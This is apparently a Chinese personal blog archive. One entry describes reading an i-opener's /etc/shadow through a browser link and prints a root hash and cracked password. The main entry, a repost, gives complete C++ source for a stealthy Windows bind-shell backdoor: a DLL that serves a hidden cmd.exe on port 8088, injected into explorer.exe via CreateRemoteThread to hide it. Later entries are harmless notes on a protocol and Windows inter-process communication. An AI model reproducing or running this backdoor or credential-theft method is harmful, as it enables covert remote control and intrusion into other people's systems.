2008年10月03日

I was successfully able to obtain a root prompt on a v5 i-opener!!
It was a little tricky, though. I am using the i-opener stock right now.

I set up a Geocities page that had a link to /etc/shadow (you put a link to file:/etc/shadow).
The page flashed a line of text and then showed the i-opener’s default 404 page.

I kept hitting BACK on my keyboard as I started to write down the line of text the file gave me. That line was "root:nbhWeCT1}Q60t:940962255:0:0".

I downloaded QNX Decrypt from an i-opener-linux.net mirror and ran it with my hash. It gave me the password of MaC6Wbr6.

2004年11月23日

18万中

2004年11月09日

[程序员联盟]WIN2K下一个简单的后门实现[征文]【转载】



作者:初雪
不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它BIND到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个SHELL来实现各种操作,不需要特别的客户端,只要用WINDOWS自带的TELNET客户端就可以了。
下面我给出类似这个工具的Source code,我这个工具和ncx99.exe有点不一样,用到了远程线程插入技术,将ncx99.exe功能封装在一个DLL里,然后将DLL插入到explorer.exe进程里,使得程序运行后无进程,增强了隐蔽性。

先给出DLL的Source code:


// test.cpp : Defines the entry point for the DLL application.
//
#include ”stdafx.h”
#include 

#define iport 8088



static void WINAPI ThreadProc(void* pVoid)
{
WSADATA wsa;
SOCKET serverFD;
char Buff[1024];


WSAStartup(MAKEWORD(2,2),&wsa);//初始化WinSock

serverFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(iport);
server.sin_addr.s_addr=ADDR_ANY;
int ret=bind(serverFD,(sockaddr *)&server,sizeof(server));
ret=listen(serverFD,4);
int iAddrSize = sizeof(server);

re: SOCKET clientFD=accept(serverFD,(sockaddr *)&server,&iAddrSize);//每次操作完成连接断开后程序
//返回这里继续阻塞,等待客户端连接

SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDeor=0;
sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);//创建两个匿名管道
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = ”cmd.exe”;
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//将匿名管道和cmd.exe的输入输出关联


unsigned long lBytesRead;

while(1) 
{
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);//管道是否有数据可读
if(lBytesRead) 
{
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);//读取管道里的数据
if(!ret)
break;
ret=send(clientFD,Buff,lBytesRead,0);//将cmd.exe的输出通过socket发送到客户端
if(ret<=0) 
break;
}
else
{
lBytesRead=recv(clientFD,Buff,1024,0);//将socket数据读出
if(lBytesRead<=0)
break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);//将接收到的客户端输入写进管道作为cmd.exe输入
send(clientFD,Buff,lBytesRead,0);
if(!ret) break;
}
} 
goto re;

return;
}



HANDLE hThreadHandle = NULL; 
HANDLE HT=NULL;


BOOL APIENTRY DllMain( HANDLE hModule, 
DWORD fdwReason, 
LPVOID lpReserved
)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH://首次装载DLL,创建一线程
{
DWORD dwThreadID;
hThreadHandle = CreateThread(NULL, 0, (unsigned long (__stdcall *)(void *))ThreadProc, NULL, 0, &dwThreadID);
}
break;
case DLL_PROCESS_DETACH:
{

if(hThreadHandle)
TerminateThread(hThreadHandle,0);
}

break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
} 
return TRUE;
}


/******************************************************************/

接下来是插入DLL到explorer.exe进程里的代码,要将DLL插入到explorer进程里,首先要得到这个进程的ID,下面是取得进程ID的代码:
DWORD CInsertDlg::GetProcessId()//获取explorer.exe进程的ID
{
DWORD Pid=-1;
HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//创建系统快照
PROCESSENTRY32 lPrs;
ZeroMemory(&lPrs,sizeof(lPrs));
lPrs.dwSize=sizeof(lPrs);
Process32First(hSnap,&lPrs);//取得系统快照里第一个进程信息
if (strstr(targetFile,lPrs.szExeFile))//判断进程信息是否是explorer.exe
{
Pid=lPrs.th32ProcessID;
return Pid;
}

while(1)
{
ZeroMemory(&lPrs,sizeof(lPrs));
lPrs.dwSize=(&lPrs,sizeof(lPrs));
if (!Process32Next(hSnap,&lPrs))//继续枚举进程信息
{
Pid=-1;
break;
}
if (strstr(targetFile,lPrs.szExeFile))
{
Pid=lPrs.th32ProcessID;
break;
}
}

return Pid;

}


/***************************************************************/
得到进程的ID后,就可以执行进程插入:


void CInsertDlg::OnButton1() 
{
// TODO: Add your control notification handler code here
DWORD Pid=-1;
Pid=GetProcessId();//得到进程ID

if (Insert(Pid))//执行远程进程注入
{
::MessageBox(NULL,”Insert the dll to target process is success!”,”Insert”,MB_ICONINFORMATION);
}
else
{
::MessageBox(NULL,”Insert the dll to target process if failed!”,”Insert”,MB_ICONINFORMATION);
}
}

BOOL CInsertDlg::Insert(DWORD dwProcessId)

{

HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);//得到对目标进程操作的所有权限

if (hProcess==NULL)
{
return FALSE;
}

char szModulePath[MAX_PATH];
GetModuleFileName(NULL,szModulePath,MAX_PATH);
PathRemoveFileSpec(szModulePath);
CString strModlePath = _T(szModulePath);
if(strModlePath[strModlePath.GetLength() - 1] != ’\\’)strModlePath += _T(‘\\’); 
strModlePath += _T(“test.dll”);//获取DLL路径


//为DLL路径分配内存空间
LPVOID RemoteMemory = VirtualAllocEx(hProcess,NULL,strModlePath.GetLength() + 1,MEM_COMMIT,PAGE_READWRITE); 

if (RemoteMemory==NULL)
{
return FALSE;
}


//将DLL路径写入目标进程的分配的内存
if (!WriteProcessMemory(hProcess,RemoteMemory,(void *)(LPCTSTR)strModlePath,strModlePath.GetLength() + 1,NULL))
{
return FALSE;
}

//得到LoadLibraryA函数的指针
PTHREAD_START_ROUTINE pfn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32″)),”LoadLibraryA”);

if (pfn==NULL)
{
return FALSE;
}


//在远程进程里创建线程
HANDLE hThread=CreateRemoteThread(hProcess,NULL,0,pfn,RemoteMemory,0,NULL);

if (hThread==NULL)
{
return FALSE;
}

WaitForSingleObject(hThread,INFINITE);//等待线程的返回

VirtualFreeEx(hProcess,RemoteMemory,0,MEM_RELEASE);//释放内存
CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}


参考资料:
《WINDOWS核心编程》
MSDN

2004年06月12日

客户与服务的通讯过程

————————————————————–

              客户                                          服务器

—————————————————————

用户名,密码,版本号

                                            成功 | 失败原因(字节复合)

 

统一通讯格式:

           两字节指令 + 参数N长度 + 参数N数据体

通讯协议的协议

        客户与服务间用tcp

         客户与客户间用udp

         服务与服务间用tcp

2004年06月11日

进程通常被定义为一个正在运行的程序的实例,它由两个部分组成:
       一个是操作系统用来管理进程的内核对象。内核对象也是系统用来存放关于进程的统计信息的地方
      另一个是地址空间,它包含所有的可执行模块或DLL模块的代码和数据。它还包含动态分配的空间。如线程堆栈和堆分配空间。每个进程被赋予它自己的虚拟地址空间,当进程中的一个线程正在运行时,该线程可以访问只属于它的进程的内存。属于其它进程的内存则是隐藏的,并不能被正在运行的线程访问。
   为了能在两个进程之间进行通讯,由以下几种方法可供参考:

0。剪贴板Clipboard: 在16位时代常使用的方式,CWnd中提供支持

1。窗口消息 标准的Windows消息以及专用的WM_COPYDATA消息 SENDMESSAGE()接收端必须有一个窗口

2。使用共享内存方式(Shared Memory)
   a.设定一块共享内存区域          
     HANDLE CreateFileMapping(HANDLE,LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD,  LPCSTR)
     产生一个file-mapping核心对象
     LPVOID MapViewOfFile(
         HANDLE hFileMappingObject,
         DWORD  dwDesiredAcess,
         DWORD  dwFileOffsetHigh,
         DWORD  dwFileOffsetLow,
         DWORD  dwNumberOfBytesToMap
     );
    得到共享内存的指针
   b.找出共享内存
    决定这块内存要以点对点(peer to peer)的形式呈现
        每个进程都必须有相同的能力,产生共享内存并将它初始化。每个进程
        都应该调用CreateFileMapping(),然后调用GetLastError().如果传回的
        错误代码是ERROR_ALREADY_EXISTS,那么进程就可以假设这一共享内存区         域已经被别的进程打开并初始化了,否则该进程就可以合理的认为自己 排在第          一位,并接下来将共享内存初始化。
    还是要使用client/server架构中
       只有server进程才应该产生并初始化共享内存。所有的进程都应该使用

HANDLE OpenFileMapping(DWORD dwDesiredAccess,
                                   BOOL bInheritHandle,
                                   LPCTSTR lpName);
        再调用MapViewOfFile(),取得共享内存的指针
   c.同步处理(Mutex)
   d.清理(Cleaning up) BOOL UnmapViewOfFile(LPCVOID lpBaseAddress);
                        CloseHandle()

3。动态数据交换(DDE)通过维护全局分配内存使的应用程序间传递成为可能
   其方式是再一块全局内存中手工放置大量的数据,然后使用窗口消息传递内存    指针.这是16位WIN时代使用的方式,因为在WIN32下已经没有全局和局部内存    了,现在的内存只有一种就是虚存。  

4。消息管道(Message Pipe)
   用于设置应用程序间的一条永久通讯通道,通过该通道可以象自己的应用程序
   访问一个平面文件一样读写数据。
   匿名管道(Anonymous Pipes)
       单向流动,并且只能够在同一电脑上的各个进程之间流动。
   命名管道(Named Pipes)
       双向,跨网络,任何进程都可以轻易的抓住,放进管道的数据有固定的格        式,而使用ReadFile()只能读取该大小的倍数。
       可以被使用于I/O Completion Ports

5   邮件槽(Mailslots)
    广播式通信,在32系统中提供的新方法,可以在不同主机间交换数据,在        WIN9X下只支持邮件槽客户

6。Windows套接字(Windows Socket)
   它具备消息管道所有的功能,但遵守一套通信标准使的不同操作系统之上的应    用程序之间可以互相通信。

7。Internet通信 它让应用程序从Internet地址上载或下载文件

8。RPC:远程过程调用,很少使用,因其与UNIX的RPC不兼容。

9。串行/并行通信(Serial/Parallel Communication)
   它允许应用程序通过串行或并行端口与其他的应用程序通信

10。COM/DCOM
     通过COM系统的代理存根方式进行进程间数据交换,但只能够表现在对接口     函数的调用时传送数据,通过DCOM可以在不同主机间传送数据。